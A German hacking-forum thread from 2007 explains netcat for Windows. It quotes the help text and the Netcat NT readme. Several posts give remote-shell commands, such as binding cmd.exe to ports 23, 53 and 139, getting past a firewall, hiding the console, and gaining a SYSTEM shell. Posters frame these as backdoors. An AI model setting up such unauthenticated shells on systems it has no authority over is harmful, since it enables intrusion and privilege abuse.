Wie funktioniert nt.exe ? (netcat)

mySQL · 17. August 2007

Hi, Leute!
kann mir jemand erklären wie netcat funktioniert?
und deren command lines?
hab zwar bei wiki bisschen was gefunden, aber nichts was mir wirklich weiterhilft unter dem gebrauch und handhabung von netcat....
danke für eure hilfe

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YoungBug · 17. August 2007

AW: Wie funktioniert nt.exe ? (netcat)

also den nutzen davon hab ich auch noch nicht erkannt. vllt daher dass ich es mir nicht gezogen habe ^^
schau doch mal in der hilfe nach bzw in den manpages. da steht meistens schon einiges

Homie · 17. August 2007

AW: Wie funktioniert nt.exe ? (netcat)

keine lust das jetzt genau nachzu schlagen und jedes command einzeln zu erklären.

in kurzform:

du kannst damit einen listener bauen, der auf eine connectback shell reagiert und dir somit zugriff auf andere server ermöglicht.
nc.exe -l -vv -p 4444

damit hört er auf port 4444 und wenn was kommt siehst du was kommt.

mit nc.exe ip port verbindeste dich auf ne shell auf nem server
und irgendwie kannste das noch als shell auf einem server nutzen, das hab ich allerdings noch nicht gemacht. weiß nicht wie das geht.

schau dir sonst halt mal die hilfe von nc.exe an,
bekommste wenn du
nc.exe -help
eingibst ne liste mit den commands und die erklärungen. wenn du bei irgendwas nicht weißt was das ist, fragste halt nochmal oder schaust auf wikipedia oder google oder sowas nach.

Code:

[v1.10 NT]
connect to somewhere: nc [-options] hostname port[s] [ports] ...
listen for inbound: nc -l -p port [options] [hostname] [port]
options:
 -d detach from console, stealth mode

 -e prog inbound program to exec [dangerous!!]
 -g gateway source-routing hop point[s], up to 8
 -G num source-routing pointer: 4, 8, 12, ...
 -h this cruft
 -i secs delay interval for lines sent, ports scanned
 -l listen mode, for inbound connects
 -L listen harder, re-listen on socket close
 -n numeric-only IP addresses, no DNS
 -o file hex dump of traffic
 -p port local port number
 -r randomize local and remote ports
 -s addr local source address
 -t answer TELNET negotiation
 -u UDP mode
 -v verbose [use twice to be more verbose]
 -w secs timeout for connects and final net reads
 -z zero-I/O mode [used for scanning]
port numbers can be individual or ranges: m-n [inclusive]

martin05 · 17. August 2007

AW: Wie funktioniert nt.exe ? (netcat)

Es gibt 2 versch. "Varianten".
Wenn man es als Backdoor installiert, dann kann man sich immer darüber verbinden (shell).
Wenn es aber jemand anderes findet und er sich einloggen kann hast du ein Problem.

Bei der zweiten Variante kannst du dich nur einmal mit der shell verbinden, sobald du disconnectest kommst du darüber auch nicht mehr auf den Server.

Die Hilfe gibt dir dazu aber schon Infos (über die Parameter).:]
Über Google sollte sich auch noch einiges finden lassen.
Ich hab nc.exe selber schon verwendet.

mySQL · 17. August 2007

AW: Wie funktioniert nt.exe ? (netcat)

okay danke!
weißt du ob es möglich ist, via nt.exe auf einem server ein anderes programm zu starten? zB mspaint.exe ?
wie würde dafür die command line aussehn? (als beispiel, wenn dies möglich ist)

Aber danke für die Info, hat mir bisschen weitergeholfen!

martin05 · 17. August 2007

AW: Wie funktioniert nt.exe ? (netcat)

Schau dir die Hilfe an!
Der Parameter -e gefolgt vom Programmnamen.exe führt das Nachfolgende Programm aus.

Romka · 17. August 2007

AW: Wie funktioniert nt.exe ? (netcat)

Klar wenn du ertmal ne connectback connection hast oder du dich zum listenden Port connectest hast, hast du eine vollfunktionierende Shell ( also wie diene CMD zu hause). Dann kannst du einfach über denn command mspaint wie bei dir zuhause paint öffnen. Oder auch böse Sachen anstellen. Daten transferieren, starten... usw.... Du kannst die nc bei dir auf einem port listen lassen und per command den server zu dir connecten lassen. (connectback) Oder du lässt auf dem Server nc auf nem port listen und connectest dich von local auf den server. command:nc ip Port Man kann mit nc auch daten transferieren und co... Ein ziemlich geiles Ding.

So kriegste acces zur winshell: nc -l -p 23 -t -e cmd.exe (listet nun auf port 23)

Achja und les dir das mal durch:

UPDATE 12/27/04 security fix in -e option for Windows

Netcat 1.11 for NT - nc111nt.zip

The original version of Netcat was written by *hobbit* <hobbit@avian.org>
The NT version was done by Weld Pond <weld@vulnwatch.org>

Netcat for NT is the tcp/ip "Swiss Army knife" that never made it into any
of the resource kits. It has proved to be an extremely versatile tool on
the unix platform. So why should NT always be unix's poor cousin when it
comes to tcp/ip testing and exploration? I bet many NT admins out there
keep a unix box around to use tools such as Netcat or to test their systems
with the unix version of an NT vulnerability exploit. With Netcat for NT
part of that feeling disempowerment is over.

Included with this release is Hobbit's original description of the powers
of Netcat. In this document I will briefly describe some of the things an
NT admin might want to do and know about with Netcat on NT. For more
detailed technical information please read hobbit.txt included in the
nc11nt.zip archive.

Basic Features

* Outbound or inbound connections, TCP or UDP, to or from any ports
* Full DNS forward/reverse checking, with appropriate warnings
* Ability to use any local source port
* Ability to use any locally-configured network source address
* Built-in port-scanning capabilities, with randomizer
* Can read command line arguments from standard input
* Slow-send mode, one line every N seconds
* Hex dump of transmitted and received data
* Ability to let another program service established
connections
* Telnet-options responder

New for NT

* Ability to run in the background without a console window
* Ability to restart as a single-threaded server to handle a new
connection

A simple example of using Netcat is to pull down a web page from a web
server. With Netcat you get to see the full HTTP header so you can see
which web server a particular site is running.

Since NT has a rather anemic command processor, some of the things that are
easy in unix may be a bit more clunky in NT. For the web page example first
create a file get.txt that contains the following line and then a blank
line:

GET / HTTP/1.0

To use Netcat to retrieve the home page of a web site use the command:
nc -v Create your website in minutes - Website.com 80 < get.txt

You will see Netcat make a connection to port 80, send the text contained
in the file get.txt, and then output the web server's response to stdout.
The -v is for verbose. It tells you a little info about the connection
when it starts.

It is a bit easier to just open the connection and then type at the console
to do the same thing.
nc -v Create your website in minutes - Website.com 80

Then just type in GET / HTTP/1.0 and hit a couple of returns. You will
see the same thing as above.

A far more exciting thing to do is to get a quick shell going on a remote
machine by using the -l or "listen" option and the -e or "execute"
option. You run Netcat listening on particular port for a connection.
When a connection is made, Netcat executes the program of your choice
and connects the stdin and stdout of the program to the network connection.

nc -l -p 23 -t -e cmd.exe

will get Netcat listening on port 23 (telnet). When it gets connected to
by a client it will spawn a shell (cmd.exe). The -t option tells Netcat
to handle any telnet negotiation the client might expect.

This will allow you to telnet to the machine you have Netcat listening on
and get a cmd.exe shell when you connect. You could just as well use
Netcat instead of telnet:

nc xxx.xxx.xxx.xxx 23

will get the job done. There is no authentication on the listening side
so be a bit careful here. The shell is running with the permissions of the
process that started Netcat so be very careful. If you were to use the
AT program to schedule Netcat to run listening on a port with the
-e cmd.exe option, when you connected you would get a shell with user
NT AUTHORITY\SYSTEM.

The beauty of Netcat really shines when you realize that you can get it
listening on ANY port doing the same thing. Do a little exploring and
see if the firewall you may be behind lets port 53 through. Run Netcat
listening behind the firewall on port 53.

nc -L -p 53 -e cmd.exe

Then from outside the firewall connect to the listening machine:

nc -v xxx.xxx.xxx.xx 53

If you get a command prompt then you are executing commands on the
listening machine. Use 'exit' at the command prompt for a clean
disconnect. The -L (note the capital L) option will restart Netcat with
the same command line when the connection is terminated. This way you can
connect over and over to the same Netcat process.

A new feature for the NT version is the -d or detach from console flag.
This will let Netcat run without an ugly console window cluttering up the
screen or showing up in the task list.

You can even get Netcat to listen on the NETBIOS ports that are probably
running on most NT machines. This way you can get a connection to a
machine that may have port filtering enabled in the TCP/IP Security Network
control panel. Unlike Unix, NT does not seem to have any security around
which ports that user programs are allowed to bind to. This means any
user can run a program that will bind to the NETBIOS ports.

You will need to bind "in front of" some services that may already be
listening on those ports. An example is the NETBIOS Session Service that
is running on port 139 of NT machines that are sharing files. You need
to bind to a specific source address (one of the IP addresses of the
machine) to accomplish this. This gives Netcat priority over the NETBIOS
service which is at a lower priority because it is bound to ANY IP address.
This is done with the Netcat -s option:

nc -v -L -e cmd.exe -p 139 -s xxx.xxx.xxx.xxx

Now you can connect to the machine on port 139 and Netcat will field
the connection before NETBIOS does. You have effectively shut off
file sharing on this machine by the way. You have done this with just
user privileges to boot.

PROBLEMS with Netcat 1.1 for NT

There are a few known problems that will eventually be fixed. One is
the -w or timeout option. This works for final net reads but not
for connections. Another problem is using the -e option in UDP mode.
You may find that some of the features work on Windows 95. Most
of the listening features will not work on Windows 95 however. These will
be fixed in a later release.

Netcat is distributed with full source code so that people can build
upon this work. If you add something useful or discover something
interesting about NT TCP/IP let met know.

Weld Pond <weld@l0pht.com>, 2/2/98

Klicke in dieses Feld, um es in vollständiger Größe anzuzeigen.

pyro · 17. August 2007

AW: Wie funktioniert nt.exe ? (netcat)

Hier sind noch Anwendungsbeispiele:

netcat

remoteshell-security.com: Netcat Guide

HIGHGAMES - PC GAMES AND HARDWARE - HARDWARE-VIEW - NETCAT UND CRYPTCAT

Eine alternative zu Netcat ist CryptCat, dabei wird der Transfer mit Twofisch verschlüsselt.

PS: Die exe heißt nc.exe nich nt.exe

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Wie funktioniert nt.exe ? (netcat)

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